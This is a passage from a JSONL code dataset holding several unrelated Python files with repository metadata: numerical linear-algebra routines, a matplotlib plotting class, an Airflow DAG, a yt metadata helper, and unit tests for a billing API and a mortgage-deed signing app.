range(len(a[0])):\n                        if i == j:\n                            sum_for_alpha = sum_for_alpha\n                        else:\n                            sum_for_alpha += x[i][j]\n                    alpha = (1 - sum_for_alpha) / r[3][i]\n                    for j in range(len(a[0])):\n                        z.append(0)\n                        z[j] = x[i][j]\n                        if i == j:\n                            z[j] = x[i][j] * alpha\n                    break\n            r.append(z)\n            # Обратная пирамидальная сортировка\n            heap_sort(copy.deepcopy(r[1]), r)\n    # Производим округление результата, что бы избежать проблемы цифрового нуля\n    x = np.around(r[4], 4)\n    # Находим значение целевой функции\n    f = (c * x).sum()\n    return x, f\n\n\ndef heapify(nums, heap_size, root_index, m):\n    # Предположим, что индекс самого большого элемента является корневым индексом\n    largest = root_index\n    left_child = (2 * root_index) + 1\n    right_child = (2 * root_index) + 2\n    # Если левый потомок корня является допустимым индексом, а элемент больше\n    # чем текущий самый большой элемент, то обновляем самый большой элемент\n    if left_child < heap_size and nums[left_child] > nums[largest]:\n        largest = left_child\n    # Делаем то же самое для right_child\n    if right_child < heap_size and nums[right_child] > nums[largest]:\n        largest = right_child\n    # Если самый большой элемент больше не является корневым элементом, меняем их местами\n    if largest != root_index:\n        nums[root_index], nums[largest] = nums[largest], nums[root_index]\n        for j in range(len(m)):\n            m[j][root_index], m[j][largest] = m[j][largest], m[j][root_index]\n        # Еще раз проходим функцией, чтобы проверить, что новый узел максимальный по значению\n        heapify(nums, heap_size, largest, m)\n\n\ndef heap_sort(nums, m):\n    n = len(nums)\n    # Создаем Max Heap из списка\n    # Второй аргумент означает, что мы останавливаемся на элементе перед -1, то есть на первом элементе списка.\n    # Третий аргумент означает, что мы повторяем в обратном направлении, уменьшая количество i на 1\n    for i in range(n, -1, -1):\n        heapify(nums, n, i, m)\n    # Перемещаем корень max heat в конец\n    for i in range(n - 1, 0, -1):\n        nums[i], nums[0] = nums[0], nums[i]\n        for j in range(len(m)):\n            m[j][i], m[j][0] = m[j][0], m[j][i]\n        heapify(nums, i, 0, m)\n\n\ndef prepare_data(raw_data):\n    # Объявляем имена столбцов в файле Excel чтобы по ним разделять данные\n    c_title, a1_title, a2_title = 'Cтоимости', 'Нижние границы интервалов вероятности A1', \\\n                                  'Верхние границы интервалов вероятности A2'\n    # Создаем кортежи нужного размера заполненные нулями, затем заполняем их данными из DataFrame\n    c_raw, a1_raw, a2_raw = [0] * len(raw_data[c_title]), [0] * len(raw_data[c_title]), [0] * len(raw_data[c_title])\n    for I in range(len(raw_data[c_title])):\n        c_raw[I] = raw_data[c_title][I]\n        a1_raw[I] = raw_data[a1_title][I]\n        a2_raw[I] = raw_data[a2_title][I]\n    return c_raw, a1_raw, a2_raw\n\n\ndef linear_matrix(dataframe, boxes):\n    # Решение системы линейных уравнений\n    linResult = []\n    for i in range(len(boxes)):\n        boxes[i] = [h - 1 for h in boxes[i]]\n        linMatrix = dataframe.iloc[boxes[i], boxes[i]]\n        box_values = np.array(linMatrix.values.tolist()).transpose()\n        for j in range(len(box_values)):\n            box_values[j][j] = box_values[j][j] - 1\n        box_values[len(box_values) - 1] = [1 for _ in range(len(box_values))]\n        V = np.zeros(len(box_values))\n        V[len(box_values) - 1] = 1\n        answer = np.linalg.solve(box_values, V)\n        linResult.append(answer)\n    return linResult\n\n\ndef pi_matrix(dataframe, gates, boxes, linear_result):\n    # Решение линейной системы и создание матрицы Пи\n    matrix_PI = np.zeros([len(dataframe), len(dataframe)])\n    right = np.zeros([len(gates), len(dataframe)])\n    left = np.zeros([len(gates), len(gates)])\n    edin = np.zeros([len(gates), len(gates)])\n    for i in range(len(boxes)):\n        for j in boxes[i]:\n            r = 0\n            for k in boxes[i]:\n                matrix_PI[j, k] = linear_result[i][r]\n                r += 1\n    table = np.asarray(dataframe.values.tolist())\n    k = 0\n    for i in gates:\n        right[k] = np.matmul(table[i - 1], matrix_PI)\n        k += 1\n    for i in range(len(gates)):\n        for j in range(len(gates)):\n            left[i][j] = table[gates[i] - 1][gates[j] - 1]\n            edin[i][i] = 1\n    left = edin - left\n    answer = np.linalg.solve(left, right)\n    for i in range(len(gates)):\n        matrix_PI[gates[i] - 1] = answer[i]\n    result = (np.around(matrix_PI, 4))\n    return result\n\n\ndef find_boxes(dataframe):\n    # Инициализируем списки для переходов и ящиков\n    step, box, bins = [], [], []\n    # Создаем матрицу, заполненную нулями\n    R = np.zeros((len(dataframe), len(dataframe)))\n    for i in range(len(dataframe)):\n        Ri, Rj, R_obj = [], [], []\n        step.append(i)\n        for j in range(len(dataframe)):\n            if dataframe[j][i] > 0:\n                Ri.append(j)\n        if Ri == [i]:\n            # Во всей строке только пересечение с собой получается ящик из одного элемента\n            print(i, '= Bad')\n            # Одиночный ящик добавляем в финальный ответ\n            bins.append([i + 1])\n            # Одиночный ящик исключаем из списка проходных состояний\n            step.remove(i)\n        for j in Ri:\n            for k in range(len(dataframe)):\n                if dataframe[k][j] > 0:\n                    Rj.append(k)\n        Ri = Ri + Rj\n        for item in Ri:\n            if item not in R_obj:\n                R_obj.append(item)\n        R_obj.sort()\n        for j in range(int(len(dataframe) - len(R_obj))):\n            R_obj.append(0)\n        R[i] = R_obj\n    # print('Получившаяся матрица переходов '+'\\n', R)\n    # Вн��три цикла ищем ящики\n    g = np.arange(0, len(R))\n    for i in range(len(dataframe)):\n        case = []\n        for j in range(len(dataframe)):\n            x, y = R[i], R[j]\n            if i != j:\n                if functools.reduce(lambda a, b: a and b, map(lambda p, q: p == q, x, y)):\n                    if all(R[j] != g.astype(np.float64)):\n                        case.append(j)\n        if case:\n            # Удаляем найденные ящики из списка проходных состояний\n            for k in case:\n                if k in step:\n                    step.remove(k)\n    # Вторая итерация поиска ящиков\n    for i in range(len(dataframe)):\n        case = []\n        for j in range(len(dataframe)):\n            x, y = R[i], R[j]\n            if functools.reduce(lambda a, b: a and b, map(lambda p, q: p == q, x, y), True):\n                case.append(j + 1)\n        box.append(case)\n    ways = [h + 1 for h in step]\n    # Исключаем из списка ящиков повторения и проходные состояния\n    for z in box:\n        if len(z) > 1 and (z not in bins) and (z[0] not in ways):\n            bins.append(z)\n            bins.sort()\n    return ways, bins\n\n\ndef swap_rows_right(a, b, row1, row2):\n    a[row1], a[row2] = a[row2], a[row1]\n    b[row1], b[row2] = b[row2], b[row1]\n\n\ndef divide_row_right(a, b, row, divider):\n    # Деление создающее единицы на главной диагонали отключено\n    #a[row] = [n / divider for n in a[row]]\n    #b[row] /= divider\n    a[row] = [n for n in a[row]]\n\n\ndef combine_rows_right(a, b, row, source_row, weight):\n    a[row] = [(n + k * weight) for n, k in zip(a[row], a[source_row])]\n    b[row] += b[source_row] * weight\n\n\ndef gauss_right(a, b):\n    column = 0\n    # Проход по всем строкам\n    while column < len(b):\n        current_row = None\n        for r in range(column, len(a)):\n            if current_row is None or abs(a[r][column]) > abs(a[current_row][column]):\n                current_row = r\n        # Проверка случая когда входные данные пустые\n        if current_row is None:\n            print(\"Решений нет\")\n            return None\n        if current_row != column:\n            swap_rows_right(a, b, current_row, column)\n        divide_row_right(a, b, column, a[column][column])\n        for r in range(column + 1, len(a)):\n            combine_rows_right(a, b, r, column, -a[r][column])\n        column += 1\n    return [a, b]\n\n\ndef swap_rows(a, row1, row2):\n    a[row1], a[row2] = a[row2], a[row1]\n\n\ndef divide_row(a, row, divider):\n    # Деление создающее единицы на главной диагонали отключено\n    #a[row] = [n / divider for n in a[row]]\n    a[row] = [n for n in a[row]]\n\n\ndef combine_rows(a, row, source_row, weight):\n    a[row] = [(n + k * weight) for n, k in zip(a[row], a[source_row])]\n\n\ndef gauss(a):\n    column = 0\n    while column < len(a):\n        current_row = None\n        for r in range(column, len(a)):\n            if current_row is None or abs(a[r][column]) > abs(a[current_row][column]):\n                current_row = r\n        if current_row is None:\n            print(\"Решений нет\")\n            return None\n        if current_row != column:\n            swap_rows(a, current_row, column)\n        divide_row(a, column, a[column][column])\n        for r in range(column + 1, len(a)):\n            combine_rows(a, r, column, -a[r][column])\n        column += 1\n    return [a]\n\n\ndef gauss_a(a):\n    for k in range(len(a) - 1):\n        At = a.copy()\n        for i in range(len(a)):\n            for j in range(len(a)):\n                if i <= k:\n                    a[i][j] = At[i][j]\n                elif i > k and j > k:\n                    a[i][j] = round(At[i][j] - (At[i][k] / At[k][k]) * At[k][j], 4)\n                elif i > k >= j:\n                    a[i][j] = 0\n    return a\n\n\ndef ort(x):\n    a = np.zeros([len(x), len(x)])\n    Fi = np.zeros([len(x), len(x)])\n    y = np.zeros([len(x), len(x)])\n    for i in range(len(x)):\n        a[i][i] = 1\n        for j in range(i):\n            Fi[i][j] = -(np.dot(x[i], y[j]) / np.dot(y[j], y[j]))\n            for k in range(i):\n                a[i][j] += - a[k][j] * Fi[i][k]\n            y[i] += np.dot(a[i][j], y[j])\n        if i == 0:\n            y[i] = x[0]\n    return a, y, Fi\n\n\ndef calc_stab(L2, L4, C, method):\n    L3 = L2 + L4\n    D = []\n    for i in range(len(C)):\n        D += [copy.deepcopy(L3)]\n    for k in range(len(C)):\n        for h in range(len(C)*2):\n            D[k][h][k] = 0\n    com_set = product([0, len(C)], repeat=len(C)-1)\n    Z = np.zeros([len(C)*2, len(C)-1])\n    ii = 0\n    for i in com_set:\n        for j in range(len(i)):\n            Z[ii][j] = int(i[j])\n        ii += 1\n    for k in range(len(C)):\n        for i in range(len(C)*2):\n            y = 0\n            for j in range(len(C)):\n                if k == j:\n                    D[k][i][j] = 0\n                else:\n                    D[k][i][j] = L3[int(Z[i][y])+k][j]\n                    y += 1\n    for k in range(len(C)):\n        for i in range(len(C)*2):\n            I_sum = 0\n            for j in range(len(C)):\n                I_sum += D[k][i][j]\n            D[k][i][k] = I_sum*(-1)\n    index = [0] * len(C)\n    Pi = np.zeros([len(C), 1])\n    if method == 1:\n        for i in range(len(C)):\n            Pi[i] = 1\n    for m in range(len(C)):\n        Q = np.zeros([len(C), 1])\n        Q[m] = 1\n        #print(Q)\n        next_step = False\n        while next_step != True:\n            L = np.zeros([len(C), len(C)])\n            for k in  range(len(C)):\n                L[k] = D[k][index[k]]\n            M1 = np.zeros([len(L), len(L)])\n            for i in range(len(L)):\n                for j in range(len(L)):\n                    if j == 0:\n                        M1[i][j] = 1\n                    else:\n                        M1[i][j] = -L[i][j-1]\n            solve = np.linalg.solve(M1, Q)\n            G = solve[0]\n            W = np.zeros([len(L)-1, 1])\n            for i in range(len(solve)-1):\n                W[i] = solve[i+1]\n            func_sum = np.zeros([len(L),1])\n            for i in range(len(L)):\n                func_sum[i] = Q[i]\n                for j in range(len(W)):\n                    func_sum[i] += L[i][j]*W[j]\n            all_sum = np.zeros([len(C)*2,1])\n            for k in range(len(C)):\n                for i in range(len(C)*2):\n                    all_sum[i] = Q[k]\n                    for j in range(len(W)):\n                        all_sum[i] += D[k][i][j]*W[j]\n                if method == 1:\n                    index[k] = np.argmin(all_sum)\n                if method == 2:\n                    index[k] = np.argmax(all_sum)\n            if method == 1:\n                if Pi[m] >= G + 0.000000001:\n                    Pi[m] = G\n                    #print('no')\n                    #print(m)\n                    #print(G)\n                    #print(Pi[m])\n                else:\n                    next_step = True\n                    #print('yes')\n                    #print(m)\n                    #print(G)\n                    #print(Pi[m])\n            if method == 2:\n                if Pi[m] <= G - 0.000000001:\n                    Pi[m] = G\n                    #print('no')\n                    #print(m)\n                    #print(G)\n                    #print(Pi[m])\n                else:\n                    next_step = True\n                    #print('yes')\n                    #print(m)\n                    #print(G)\n                    #print(Pi[m])\n    return Pi","repo_name":"maxrus121/PhD_Repo","sub_path":"MathLibrary.py","file_name":"MathLibrary.py","file_ext":"py","file_size_in_byte":23170,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10127608541","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nclass Graficafor:\n    # Select length of axes and the space between tick labels\n    xmin, xmax, ymin, ymax = -3, 3, -3, 3\n    ticks_frequency = 1\n\n    # Plot points\n    fig, ax = plt.subplots(figsize=(10, 10))    \n\n    # rango de linea divisoria\n    rangoLinea = [-5, 5]\n\n    # Set identical scales for both axes\n    ax.set(xlim=(xmin-1, xmax+1), ylim=(ymin-1, ymax+1), aspect='equal')\n\n    # Set bottom and left spines as x and y axes of coordinate system\n    ax.spines['bottom'].set_position('zero')\n    ax.spines['left'].set_position('zero')\n\n    # # Remove top and right spines\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n\n    # Create 'x' and 'y' labels placed at the end of the axes\n    ax.set_xlabel('x', size=14, labelpad=-24, x=1.03)\n    ax.set_ylabel('y', size=14, labelpad=-21, y=1.02, rotation=0)\n\n    # Create custom major ticks to determine position of tick labels\n    x_ticks = np.arange(xmin, xmax+1, ticks_frequency)\n    y_ticks = np.arange(ymin, ymax+1, ticks_frequency)\n    ax.set_xticks(x_ticks[x_ticks != 0])\n    ax.set_yticks(y_ticks[y_ticks != 0])\n\n    # Create minor ticks placed at each integer to enable drawing of minor grid\n    # lines: note that this has no effect in this example with ticks_frequency=1\n    ax.set_xticks(np.arange(xmin, xmax+1), minor=True)\n    ax.set_yticks(np.arange(ymin, ymax+1), minor=True)\n\n    # Draw major and minor grid lines\n    ax.grid(which='both', color='grey',\n            linewidth=1, linestyle='-', alpha=0.2)\n    \n    # Draw arrows\n    arrow_fmt = dict(markersize=4, color='black', clip_on=False)\n    ax.plot((1), (0), marker='>',\n            transform=ax.get_yaxis_transform(), **arrow_fmt)\n    ax.plot((0), (1), marker='^',\n            transform=ax.get_xaxis_transform(), **arrow_fmt)\n    \n    \n    def __init__(self) -> None:\n        # Create figure \n        self.fig, self.ax = plt.subplots(figsize=(10, 10))\n        \n    # plotteamos punto \n    def setPunto(self, x, y, _color, size=300):\n        if _color== 1:\n            self.ax.scatter(x, y, color=\"green\", s=size)\n        else:\n            self.ax.scatter(x, y, color=\"blue\", s=size)\n    \n    # plotmatriz\n    def plotMatrix(self,X,Y):\n        # X transpuesto\n        for x, y in zip(np.transpose(X), Y):\n            if y >= 0:\n                self.setPunto(x[0],x[1],1)\n            else:\n                self.setPunto(x[0],x[1],0)\n\n    # plotteamos linea \n    def drawDivision(self, pts, _color=\"r\"):\n        # Plot de la linea divisoria\n        plt.plot([self.rangoLinea[0], self.rangoLinea[1]], [pts[0], pts[1]], color=_color)\n\n\n    \n\n","repo_name":"JorgeHerrada/Adaline","sub_path":"graficador.py","file_name":"graficador.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"72546057680","text":"import os\nimport re\nfrom random import randint\n\n\n_RE_URL = re.compile(r'https?:\\/\\/(www\\.)?[\\w\\-\\.]+\\.\\w{1,8}(:\\d{1,5})?.*')\n\n\nclass FileManager:\n    _locs: list = []\n    _files: list = []\n\n    def __init__(self, locations: list):\n        self._locs = locations\n\n    def index_files(self):\n        self._files = []\n        for loc in self._locs:\n            if _RE_URL.match(loc):\n                self._files.append(loc)\n            elif os.path.isfile(loc):\n                self._files.append(loc)\n            elif os.path.isdir(loc):\n                self._files.extend([\"%s/%s\" % (loc, f) for f in os.listdir(loc)\n                                    if os.path.isfile(os.path.join(loc, f))])\n\n    def get_rnd_file(self, index_before=True) -> str:\n        if index_before:\n            self.index_files()\n        ln = len(self._files)\n        if ln == 0:\n            return None\n        if ln == 1:\n            return self._files[0]\n        rand = randint(0, ln-1)\n        return self._files[rand]\n","repo_name":"zekroTJA/itsfriday","sub_path":"itsfriday/fmgr.py","file_name":"fmgr.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"16961340961","text":"import datetime\n\nfrom airflow import DAG\nfrom airflow.operators.bash import BashOperator\n\ndefault_args = {\"owner\": \"airflow\"}\n\nwith DAG(\n        dag_id=\"daily_dag\",\n        start_date=datetime.datetime(2022, 9, 12),\n        schedule_interval=\"00 23 * * *\",\n        default_args=default_args,\n        catchup=False,\n) as dag:\n    daily_dag_start = BashOperator(\n        task_id='daily_dag_start',\n        bash_command='echo Load raw data into data lake on {{ ds }}',\n    )\n\n    load_into_ods_completed = BashOperator(\n        task_id=\"load_into_ods_completed\",\n        bash_command='echo data in lake on {{ ds }} has been loaded into ods',\n    )\n\ndaily_dag_start >> load_into_ods_completed\n","repo_name":"ChiWahCheung/DE-Assignment","sub_path":"airflow/dags/daily_dag.py","file_name":"daily_dag.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42057978486","text":"from yt.loaders import load\n\nDEFAULT_ATTRS = (\n    \"dimensionality\",\n    \"refine_by\",\n    \"domain_dimensions\",\n    \"current_time\",\n    \"domain_left_edge\",\n    \"domain_right_edge\",\n    \"unique_identifier\",\n    \"current_redshift\",\n    \"cosmological_simulation\",\n    \"omega_matter\",\n    \"omega_lambda\",\n    \"hubble_constant\",\n    \"dataset_type\",\n)\n\n\ndef get_metadata(path, full_output=False, attrs=DEFAULT_ATTRS):\n    ds = load(path)\n    metadata = {\"filename\": path}\n    for a in attrs:\n        v = getattr(ds, a, None)\n        if v is None:\n            continue\n        if hasattr(v, \"tolist\"):\n            v = v.tolist()\n        metadata[a] = v\n    if full_output:\n        params = {}\n        for p, v in ds.parameters.items():\n            if hasattr(v, \"tolist\"):\n                v = v.tolist()\n            params[p] = v\n        metadata[\"params\"] = params\n    ds.close()\n    return metadata\n","repo_name":"yt-project/yt","sub_path":"yt/utilities/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":411,"dataset":"github-code","pt":"3"}
+{"seq_id":"29062190367","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom future import standard_library\n\nstandard_library.install_aliases()\n\nimport http.client as http\nimport pytest\nimport hamcrest as hm\n\nfrom balance import constants as cst\n\nfrom brest.core.tests import security\nfrom yb_snout_api.utils import clean_dict\nfrom yb_snout_api.tests_unit.base import TestCaseApiAppBase\n# noinspection PyUnresolvedReferences\nfrom yb_snout_api.tests_unit.fixtures.client import create_client, create_role_client\n# noinspection PyUnresolvedReferences\nfrom yb_snout_api.tests_unit.fixtures.permissions import get_client_role, create_role, create_admin_role\n# noinspection PyUnresolvedReferences\nfrom yb_snout_api.tests_unit.fixtures.contract import create_general_contract, create_spendable_contract\n\n\n@pytest.fixture(name='view_contracts_role')\ndef create_view_contracts_role():\n    return create_role(\n        (\n            cst.PermissionCode.VIEW_CONTRACTS,\n            {cst.ConstraintTypes.firm_id: None, cst.ConstraintTypes.client_batch_id: None},\n        ),\n    )\n\n\n@pytest.mark.smoke\nclass TestCaseClientContracts(TestCaseApiAppBase):\n    BASE_API = u'/v1/client/contracts'\n\n    @pytest.mark.parametrize('contract_types', [\n        pytest.param(None, id='Without contract_types'),\n        'GENERAL',\n        'SPENDABLE',\n        'SPENDABLE,GENERAL'\n    ])\n    @pytest.mark.parametrize('is_thirdparty', [\n        pytest.param(None, id='Without is_thirdparty'),\n        pytest.param(False, id='Without thirdparty services'),\n        pytest.param(True, id='With thirdparty services'),\n    ])\n    def test_get_client_contracts(self, client, contract_types, is_thirdparty):\n        contracts = {\n            'GENERAL': {\n                True: create_general_contract(client=client, services=[cst.ServiceId.TICKETS]),\n                False: create_general_contract(client=client, services=[cst.ServiceId.ADDAPTER_RET])\n            },\n            'SPENDABLE': {\n                True: create_spendable_contract(client=client, services=[cst.ServiceId.TICKETS]),\n                False: create_spendable_contract(client=client, services=[cst.ServiceId.ADDAPTER_RET]),\n            }\n        }\n\n        request_params = clean_dict({\n            'client_id': client.id,\n            'contract_types': contract_types,\n            'is_thirdparty': is_thirdparty\n        })\n        response = self.test_client.get(self.BASE_API, request_params)\n        hm.assert_that(response.status_code, hm.equal_to(http.OK), 'response code must be OK')\n\n        data = response.get_json()['data']\n        contract_types = (contract_types or 'GENERAL').split(',')\n        expected_contracts = []\n        for contract_type in contract_types:\n            if is_thirdparty is None:  # если не указали - берем все\n                expected_contracts.extend(contracts[contract_type].values())\n            else:\n                expected_contracts.append(contracts[contract_type][is_thirdparty])\n        hm.assert_that(\n            data,\n            hm.contains_inanyorder(*[\n                hm.has_entry('id', c.id)\n                for c in expected_contracts\n            ]),\n        )\n\n    def test_not_found(self, not_existing_id):\n        response = self.test_client.get(self.BASE_API, {'client_id': not_existing_id})\n        hm.assert_that(response.status_code, hm.equal_to(http.NOT_FOUND), 'Response code must be 404(NOT_FOUND)')\n\n\n@pytest.mark.permissions\nclass TestCaseClientContractsPermissions(TestCaseApiAppBase):\n    BASE_API = u'/v1/client/contracts'\n\n    def test_own_client(self, client, admin_role):\n        security.set_roles([])\n        security.set_passport_client(client)\n\n        general_contract = create_general_contract(client=client)\n        res = self.test_client.get(self.BASE_API, is_admin=False)\n        hm.assert_that(res.status_code, hm.equal_to(http.OK))\n\n        data = res.get_json()['data']\n        hm.assert_that(\n            data,\n            hm.contains(\n                hm.has_entry('id', general_contract.id),\n            ),\n        )\n\n    def test_nobody(self, client, admin_role):\n        security.set_roles([admin_role])\n        res = self.test_client.get(self.BASE_API)\n        hm.assert_that(res.status_code, hm.equal_to(http.NOT_FOUND))\n\n    @pytest.mark.parametrize(\n        'w_perm',\n        [True, False],\n    )\n    def test_permission(self, admin_role, view_contracts_role, client, w_perm):\n        roles = [admin_role]\n        if w_perm:\n            roles.append(view_contracts_role)\n        security.set_roles(roles)\n\n        contract = create_general_contract(client=client)\n        res = self.test_client.get(self.BASE_API, {'client_id': client.id})\n        hm.assert_that(res.status_code, hm.equal_to(http.OK))\n\n        data = res.get_json()['data']\n        contract_match = hm.contains(hm.has_entry('id', contract.id)) if w_perm else hm.empty()\n        hm.assert_that(data, contract_match)\n\n    @pytest.mark.parametrize(\n        'match_client',\n        [True, False],\n    )\n    def test_client_constraint(\n            self,\n            admin_role,\n            view_contracts_role,\n            match_client,\n    ):\n        role_client_1 = create_role_client()\n        role_client_2 = create_role_client()\n        client_batch_id = role_client_1.client_batch_id if match_client else role_client_2.client_batch_id\n        roles = [\n            admin_role,\n            (view_contracts_role, {cst.ConstraintTypes.client_batch_id: client_batch_id}),\n        ]\n        security.set_roles(roles)\n\n        contract = create_general_contract(client=role_client_1.client)\n        res = self.test_client.get(self.BASE_API, {'client_id': role_client_1.client.id})\n        hm.assert_that(res.status_code, hm.equal_to(http.OK))\n\n        data = res.get_json()['data']\n        contract_match = hm.contains(hm.has_entry('id', contract.id)) if match_client else hm.empty()\n        hm.assert_that(data, contract_match)\n\n    def test_perm_constraints(\n            self,\n            admin_role,\n            view_contracts_role,\n            role_client,\n    ):\n        role_client_2 = create_role_client()\n        roles = [\n            admin_role,\n            (view_contracts_role, {cst.ConstraintTypes.client_batch_id: role_client.client_batch_id, cst.ConstraintTypes.firm_id: cst.FirmId.YANDEX_OOO}),\n            (view_contracts_role, {cst.ConstraintTypes.client_batch_id: role_client.client_batch_id, cst.ConstraintTypes.firm_id: cst.FirmId.MARKET}),\n            (view_contracts_role, {cst.ConstraintTypes.client_batch_id: role_client_2.client_batch_id, cst.ConstraintTypes.firm_id: cst.FirmId.DRIVE}),\n        ]\n        security.set_roles(roles)\n\n        required_contracts = [\n            create_general_contract(client=role_client.client, firm_id=cst.FirmId.YANDEX_OOO),\n            create_general_contract(client=role_client.client, firm_id=cst.FirmId.MARKET),\n            create_general_contract(client=role_client.client, firm_id=None),\n        ]\n        create_general_contract(client=role_client.client, firm_id=cst.FirmId.DRIVE)\n        create_general_contract(client=role_client_2.client, firm_id=cst.FirmId.YANDEX_OOO)\n\n        res = self.test_client.get(self.BASE_API, {'client_id': role_client.client.id})\n        hm.assert_that(res.status_code, hm.equal_to(http.OK))\n\n        data = res.get_json()['data']\n        hm.assert_that(\n            data,\n            hm.contains_inanyorder(*[\n                hm.has_entry('id', c.id)\n                for c in required_contracts\n            ]),\n        )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/tests_unit/resources/v1/client/test_client_contracts.py","file_name":"test_client_contracts.py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13943879194","text":"from flask import session\nfrom tests.helpers import with_client, setUpApp, with_context, MockDeedClass\nimport unittest\nfrom application.deed.searchdeed.views import validate_dob, search_deed_search\nfrom application.borrower.views import confirm_network_agreement\nfrom datetime import date\nfrom unittest.mock import patch\n\n\nclass TestAgreementNaa(unittest.TestCase):\n    def setUp(self):\n        setUpApp(self)\n\n    @patch('application.service.deed_api.interface.DeedApiInterface.send_naa')\n    @patch('application.borrower.views.render_template')\n    @patch('application.borrower.views.request')\n    def test_confirm_network_agreement_get(self, mock_request, mock_render, mock_sign):\n        mock_request.method = \"GET\"\n        mock_sign.status_code = 200\n        confirm_network_agreement()\n        mock_render.assert_called_with('howtoproceed.html')\n\n    @with_context\n    @patch('application.borrower.views.redirect')\n    @patch('application.borrower.views.request')\n    def test_confirmed_network_agreement_no_request_form(self, mock_request, mock_redirect):\n        mock_request.method = \"POST\"\n        confirm_network_agreement()\n        mock_redirect.assert_called_with('/how-to-proceed', code=307)\n\n    @with_context\n    @patch('application.borrower.views.redirect')\n    @patch('application.borrower.views.request')\n    def test_confirmed_network_agreement_declined(self, mock_request, mock_redirect):\n        mock_request.method = \"POST\"\n        mock_request.form = {'validate': 'True', 'decline-naa': 'Decline'}\n        confirm_network_agreement()\n        self.assertEqual(session['agreement_naa'],  \"declined\")\n        mock_redirect.assert_called_with('/how-to-proceed', code=307)\n\n    @with_context\n    @patch('application.borrower.views.make_deed_api_client', autospec=False)\n    @patch('application.borrower.views.redirect')\n    @patch('application.borrower.views.request')\n    def test_confirmed_network_agreement_accepted(self, mock_request, mock_redirect, mock_sign):\n        mock_request.method = \"POST\"\n        mock_request.form = {'validate': 'True', 'accept-naa': 'Accept'}\n        session['borrower_id'] = 00000\n        mock_sign.return_value = MockDeedClass()\n        confirm_network_agreement()\n        self.assertEqual(session['agreement_naa'],  \"accepted\")\n        mock_redirect.assert_called_with('/mortgage-deed', code=302)\n\n    @with_context\n    @patch('application.deed.searchdeed.views.redirect')\n    def test_search_deed_search_deed_token(self, mock_redirect):\n        search_deed_search()\n        mock_redirect.assert_called_with('/session-ended', code=302)\n\n    @with_context\n    @patch('application.deed.searchdeed.views.redirect')\n    def test_search_deed_search_no_agreement(self, mock_redirect):\n        session['deed_token'] = 'test'\n        search_deed_search()\n        mock_redirect.assert_called_with('/how-to-proceed', code=307)\n\n        session['agreement_naa'] = 'declined'\n        search_deed_search()\n        mock_redirect.assert_called_with('/how-to-proceed', code=307)\n\n    @with_context\n    @patch('application.deed.searchdeed.views.redirect')\n    @patch('application.deed.searchdeed.views.do_search_deed_search')\n    def test_search_deed_search_success(self, mock_search, mock_redirect):\n        session['deed_token'] = 'test'\n        session['agreement_naa'] = 'accepted'\n        mock_search.return_value = 'ok'\n        self.assertEqual(search_deed_search(), ('ok', 200))\n\n\nclass TestSearchDeed(unittest.TestCase):\n    def setUp(self):\n        setUpApp(self)\n\n    @with_context\n    @with_client\n    @patch('application.akuma.service.Akuma.do_check')\n    def test_search_deed_post(self, client, mock_akuma):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n            sess['agreement_naa'] = 'accepted'\n            sess['borrower_token'] = 'AABB1232'\n\n        mock_akuma.return_value = {\n            \"result\": \"A\",\n            \"id\": \"2b9115b2-d956-11e5-942f-08002719cd16\"\n        }\n\n        res = client.get('/mortgage-deed')\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    @patch('application.akuma.service.Akuma.do_check')\n    def test_search_deed_post_invalid_reference(self, client, mock_akuma):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n            sess['agreement_naa'] = 'accepted'\n            sess['borrower_token'] = 'AABB1232'\n\n        mock_akuma.return_value = {\n            \"result\": \"A\",\n            \"id\": \"2b9115b2-d956-11e5-942f-08002719cd16\"\n        }\n\n        res = client.get('/mortgage-deed')\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    def test_validate_borrower(self, client):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n\n        res = client.post('/date-of-birth', data={'borrower_token': 'vvAAA',\n                                                  'dob-day': '01',\n                                                  'dob-month': '10',\n                                                  'dob-year': '1976',\n                                                  'dob': '01/11/1975',\n                                                  'validate': 'True'})\n        self.assertEqual(session['borrower_token'], 'VVAAA')\n        self.assertEqual(res.status_code, 307)\n\n    @with_context\n    @with_client\n    def test_sign_my_mortgage_landing(self, client):\n        res = client.get('/')\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    @patch('application.deed.searchdeed.views.get_signed_in_borrower')\n    @patch('application.deed.searchdeed.views.lookup_deed')\n    def test_finish_page(self, client, mock_lookup, mock_borrower):\n        mock_borrower.return_value = 'test guy'\n        with client.session_transaction() as sess:\n            sess['deed_token'] = 'a deed token'\n            sess['borrower_token'] = 'a borrower token'\n        res = client.post('/finished')\n\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    @patch('application.borrower.views.get_conveyancer_for_deed', autospec=False)\n    @patch('application.borrower.views.get_inflected_borrower_data')\n    def test_how_to_proceed_page(self, client, mock_conveyancer, mock_inflected_borrower_data):\n        with client.session_transaction() as sess:\n            sess['deed_token'] = '063604'\n            sess['borrower_token'] = 'XYZ12345'\n\n        res = client.post('/how-to-proceed')\n        self.assertEqual(res.status_code, 200)\n\n    @with_context\n    @with_client\n    def test_borrower_reference_page(self, client):\n        res = 